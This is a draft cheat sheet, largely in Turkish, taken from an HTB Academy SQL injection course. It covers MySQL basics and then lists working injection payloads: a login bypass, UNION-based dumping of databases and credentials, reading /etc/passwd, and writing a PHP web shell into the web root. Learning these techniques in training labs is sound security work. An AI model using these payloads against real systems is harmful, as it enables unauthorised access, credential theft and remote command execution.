Show Menu
Cheatography

HTB Academy SQL Injection Cheat Sheet (DRAFT) by

Quick notes from HTB Academy SQL Injection Module

This is a draft cheat sheet. It is a work in progress and is not finished yet.

MySQL

Giriş yapmak
mysql -u root -p
Giriş yaparken host ve port belirtimi
mysql -u root -h docker.ha­ckt­heb­ox.eu -P 3306 -p
Database yaratmak
CREATE DATABASE users;
Databa­seleri görmek
SHOW DATABASES;
Database kullanımı
USE users;
Örnek tablo oluşturumu
CREATE TABLE logins (     id INT,     username VARCHA­R(100),     password VARCHA­R(100),     date_o­f_j­oining DATETIME     );
Tablo yapısını görmek
DESCRIBE logins;
Tabloya her eleman ekledi­ğimde ID’sinin düzenli olarak artmasını istiyorum
id INT NOT NULL AUTO_I­NCR­EMENT
Bir değişkenin eşsiz olmasını istiyorum
username VARCHA­R(100) UNIQUE NOT NULL
Varsayılan bir değer atamak
date_o­f_j­oining DATETIME DEFAULT NOW()
PRIMARY KEY ataması
PRIMARY KEY (id)
Tüm bu özelli­klerin dahili örneği
CREATE TABLE logins (     id INT NOT NULL AUTO_I­NCR­EMENT,     username VARCHA­R(100) UNIQUE NOT NULL,     password VARCHA­R(100) NOT NULL,     date_o­f_j­oining DATETIME DEFAULT NOW(),     PRIMARY KEY (id)     );
● Varsayılan MySQL/­MariaDB port’u 3306’dır.
● -h: Host , -P: Port , -p: Parola
● Komutl­arının sonuna ; koymayı unutma

Sonuç Kısıtlama ve Sıralama

Küçükten büyüğe sıralamak
SELECT * FROM logins ORDER BY password;
Büyükten küçüğe sıralamak
SELECT * FROM logins ORDER BY password DESC;
Birden fazla parame­treye göre sıralamak
SELECT * FROM logins ORDER BY password DESC, id ASC;
Sonuçları kısıtlamak
SELECT * FROM logins LIMIT 3;
Index değerine göre sonuç kısıtlamak
SELECT * FROM logins LIMIT 0, 1, 2;
♦ Varsayılan olarak sonuçların sırala­nması ascending order yani küçükten büyüğe artan şekilde olur. Bunun spesifik olarak belirtimi ASC şeklin­dedir. Büyükten küçüğe azalan şekilde bir belirtim için DESC kullan­ılır.

URL Encode

'
%27
"
%22
#
%23
;
%3B
)
%29
 

SQL Komutları

INSERT
Tabloya yeni kayıtlar eklememizi sağlar.
INSERT INTO logins­(us­ername, password) VALUES ('john', 'john1­23!'), ('tom', 'tom12­3!');
SELECT
Tablodan veri çekmemizi sağlar. Yıldız işareti (*) joker karakter işlevi görür ve tüm sütunları seçer. FROM anahtar sözcüğü, aralar­ından seçim yapılacak tabloyu belirtmek için kullan­ılır.
SELECT * FROM table_­name;
DROP
MySQL içerisinde tablo ve database silmek için DROP komutu kullan­ılır.
mysql> DROP TABLE logins;
ALTER
Tablo sütunları üzerinde belirli değişi­klikler yapmak için kullan­ılır.
 
- Yeni sütun eklemek
ALTER TABLE logins ADD newColumn INT;
 
- Bir sütunu yeniden adland­ırmak
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;
 
- Sütunun veri tipini değişt­irmek
ALTER TABLE logins MODIFY oldColumn DATE;
 
- Sütunu silmek
ALTER TABLE logins DROP oldColumn;
UPDATE
Belirli kayıtlar üzerinde değişiklik yapmak için kullan­ılır.
UPDATE logins SET password = 'chang­e_p­ass­word' WHERE id > 1;
ALTER tablo özelli­klerini değişt­irmeye yararken, UPDATE komutu belirli kayıtlar üzerinde değişiklik yapmaya yarar.
DROP komutu silmeden önce herhangi bir onay istemez.

Sorgu Sonuç Filtre­lemesi

WHERE
Filtreleme yapmak ya da spesifik bir veriyi aramak için kullan­ılır.
SELECT * FROM table_name WHERE <co­ndi­tio­n>;
LIKE
LIKE belirli bir kalıba ya da şablona uyan verileri belirl­ememizi sağlar. % işareti dönecek veriyi referans eder yani kelimeden sonra gelen her karakteri bünyesine alır.
SELECT * FROM logins WHERE username LIKE 'admin%';
 
_ işareti ise % işaretinin aksine yalnızca tek bir karakterle eşleşir. Burada 3 karakter uzunlu­ğunda arama yapılır.
SELECT * FROM logins WHERE username like '___';
WHERE şartında sayılar doğrudan kullan­ıla­bil­irken, string ve tarih veri türleri başlarında tek tırnak (') veya çift tırnak (") ile belirt­ilm­eli­dirler.
 

SQL Injection

admin' OR '1'='1
Temel Bypass Yöntemi
admin')-- -
Yorum Satırlı Bypass Yöntemi
' order by 1-- -
Sütun Sayısı Belirleme
' UNION select 1,2,3-- -
Sütun Sayısı Belirleme
' UNION select 1,@@ve­rsi­on,­3,4-- -
Temel Union Injection ile Versiyon Keşfi
'UNION select username, 2, 3, 4 from passwo­rds-- -
Dört sütunda union injection örneği
' UNION select 1,sche­ma_­nam­e,3,4 from INFORM­ATI­ON_­SCH­EMA.SC­HEM­ATA-- -
Tüm Veri Tabanl­arını Listele
' UNION select 1,TABL­E_N­AME­,TA­BLE­_SC­HEMA,4 from INFORM­ATI­ON_­SCH­EMA.TABLES where table_­sch­ema­='d­ev'-- -
Belirli Bir Veri Tabanı­ndaki Tüm Tabloları Listele
' UNION select 1,COLU­MN_­NAM­E,T­ABL­E_N­AME­,TA­BLE­_SCHEMA from INFORM­ATI­ON_­SCH­EMA.CO­LUMNS where table_­nam­e='­cre­den­tia­ls'-- -
Spesifik Bir Tablodaki Tüm Sütunları Listele
' UNION select 1, username, password, 4 from dev.cr­ede­nti­als-- -
Tablo Adı, Sütunu Belli Tabloyu Oku
' UNION SELECT 1, user(), 3, 4-- -
Haliha­zırdaki Kullan­ıcıyı Bulmak
' UNION SELECT 1, super_­priv, 3, 4 FROM mysql.user WHERE user="r­oot­"-- -
Admin Yetkil­erine Sahip Miyiz?
' UNION SELECT 1, grantee, privil­ege­_type, is_gra­ntable FROM inform­ati­on_­sch­ema.us­er_­pri­vileges WHERE user="r­oot­"-- -
Hangi Komutları Kullan­abi­liy­oruz?
' UNION SELECT 1, variab­le_­name, variab­le_­value, 4 FROM inform­ati­on_­sch­ema.gl­oba­l_v­ari­ables where variab­le_­nam­e="s­ecu­re_­fil­e_p­riv­"-- -
MySQL ile Hangi Dizinlere Erişil­ebilir?
 UNION SELECT 1, LOAD_F­ILE­("/e­tc/­pas­swd­"), 3, 4-- -
Yerel Dosya Okuma
' UNION SELECT 1,'file written succes­sfu­lly­!',3,4 into outfile '/var/­www­/ht­ml/­pro­of.t­xt'-- -
Yerel Dosyaya String Yazma
' UNION SELECT "­"­,'<?php system­($_­REQ­UES­T[0]); ?>', "­", "­" into outfile '/var/­www­/ht­ml/­she­ll.p­hp'-- -
Web Shell Yazımı
UNION sorgul­arında seçilen sütunların tüm pozisy­onl­ardaki veri tipleri aynı olmalıdır.
♦ Asıl sorgu olan soldaki sorgu ne kadar sütun barınd­ırı­yorsa sağına yazaca­ğımız UNION sorgusu da o kadar sütun barınd­ırm­alıdır. Örneğin:
SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwo­rds-- '

LOAD_F­ILE() ile kaynak kod sızdır­abi­lirsin.
♦ Web shell yazmak için web root'u bilmen gerekir.